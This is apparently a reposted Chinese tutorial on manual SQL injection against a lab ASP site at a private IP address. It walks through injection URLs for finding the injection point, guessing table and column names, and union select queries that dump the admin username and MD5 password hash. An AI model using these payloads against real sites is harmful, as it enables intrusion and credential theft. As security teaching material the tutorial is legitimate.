首页  >  文章  >  运维  >  如何实现手工SQL注入

如何实现手工SQL注入

WBOY
WBOY转载
2023-05-20 19:13:302623浏览

SQL注入是***对数据库进行***的常用手段之一,其核心思想在于:***在正常的需要调用数据库数据的URL后面构造一段数据库查询代码,然后根据返回的结果,从而获得想要的某些数据。接下来我们将利用SQL注入漏洞,对已经构建好的***平台进行攻击,以获取网站管理员的账号和密码。目标服务器IP地址:192.168.80.129,***主机IP地址:192.168.80.128。

(1)寻找注入点

随便打开一个网页,注意观察URL。

如何实现手工SQL注入

注入点必定是类似“http://192.168.80.129/shownews.asp?id=7”这类存在命令调用的页面,“shownews.asp?id=7”是页面传值,就是将“id=7”传到“shownews.asp”页面里进行处理。

我们可以在这个URL后面加上and 1=1和and 1=2进行测试。

http://192.168.80.129/shownews.asp?id=7 and 1=1 ,网页仍能正常显示。

http://192.168.80.129/shownews.asp?id=7 and 1=2 ,网页无法正常显示。

这就表明“asp?”把我们自己加上的“and 1=1”也作为一个命令参数进行了调用,那我们就可以来构造一些SQL语句来被调用执行,从而得到需要的信息,这就是所谓的注入漏洞。像这样可以调用命令参数的网页就称为注入点。

(2)猜表名

***进行网站***的主要目的是获得网站管理员的用户名和密码,用户名和密码都是存放在后台数据库的某个表中,所以首先我们得猜出这个数据表的名字是什么。

表名用的最多的是admin和admin_user,我们可以在注入点URL的后面加上这样一条语句来猜表名:

http://192.168.80.129/shownews.asp?id=7 and (select count(*) from admin) > 0

“select count(*) from admin”的意思是统计admin表中有几条记录,如果admin表存在,那么这条语句就会得到一个数值。只要这个数值与0进行比较,结果就是正确的,因此网页应该能够正常显示。反之,如果admin表不存在,那么“select count(*) from admin”就得不到任何数值,跟>0比较,结果不成立,网页也就无法正常显示。

如果网页不能正常显示,可以再换一个表名进行尝试,直到正常显示为止:

http://192.168.80.129/shownews.asp?id=7 and (select count(*) from admin_user) > 0

http://192.168.80.129/shownews.asp?id=7 and (select count(*) from manage_user) > 0

这个网站的表名就是manage_user。

常见表名主要有:admin sysadmin manger admin123 webadmin member manage_user

注意:如果表名实在猜不出来,也可以使用明小子之类的工具来帮忙。

如何实现手工SQL注入

(3)猜字段的数量

下一步是猜这个表中哪个字段存放着用户名和密码,首先需要知道数据表中一共有几个字段。

这里要用到“order by”语句,“order by”的本意是按某个字段排序,“order by 10”就是按第10个字段排序,如果第10个字段存在,那么网页就会正常显示,否则如果网页无法正常显示,则表明第10字段不存在。

http://192.168.80.129/shownews.asp?id=7 order by 11

通过这种方法可以猜出这个表一共有11个字段。

(4)猜字段名

下一步是需要知道哪个字段存放着用户名和密码,这里用到“union select”联合查询语句。

http://192.168.80.129/shownews.asp?id=7 union select 1,2,3,4,5,6,7,8,9,10,11 from manage_user

这里会将存放用户名和密码的字段爆出。

如何实现手工SQL注入

存放用户名的字段一般叫username,存放密码的字段一般叫password,将第2和第3字段替换成这两个名字:

http://192.168.80.129/shownews.asp?id=7 union select 1,username,password,4,5,6,7,8,9,10,11 from manage_user

这时就将用户名和密码爆出了。

如何实现手工SQL注入

(5)猜后台管理入口

这个南方数据模板2.0版已经包括了一个名为“管理员登录”的链接。现在大多数网站不会这样设置的,所以这里一般要凭经验来猜,管理入口一般存放在名为admin的网站子目录下,输入下面的地址http://192.168.80.129/admin,就自动将管理入口显示出来了。

如何实现手工SQL注入

在这里就可以用之前爆出的管理员账号和密码来登录,但是密码“3acdbb255b45d296”很明显是经过MD5加密的。

以上是如何实现手工SQL注入的详细内容。更多信息请关注PHP中文网其他相关文章!

声明:
本文转载于:yisu.com。如有侵权,请联系admin@php.cn删除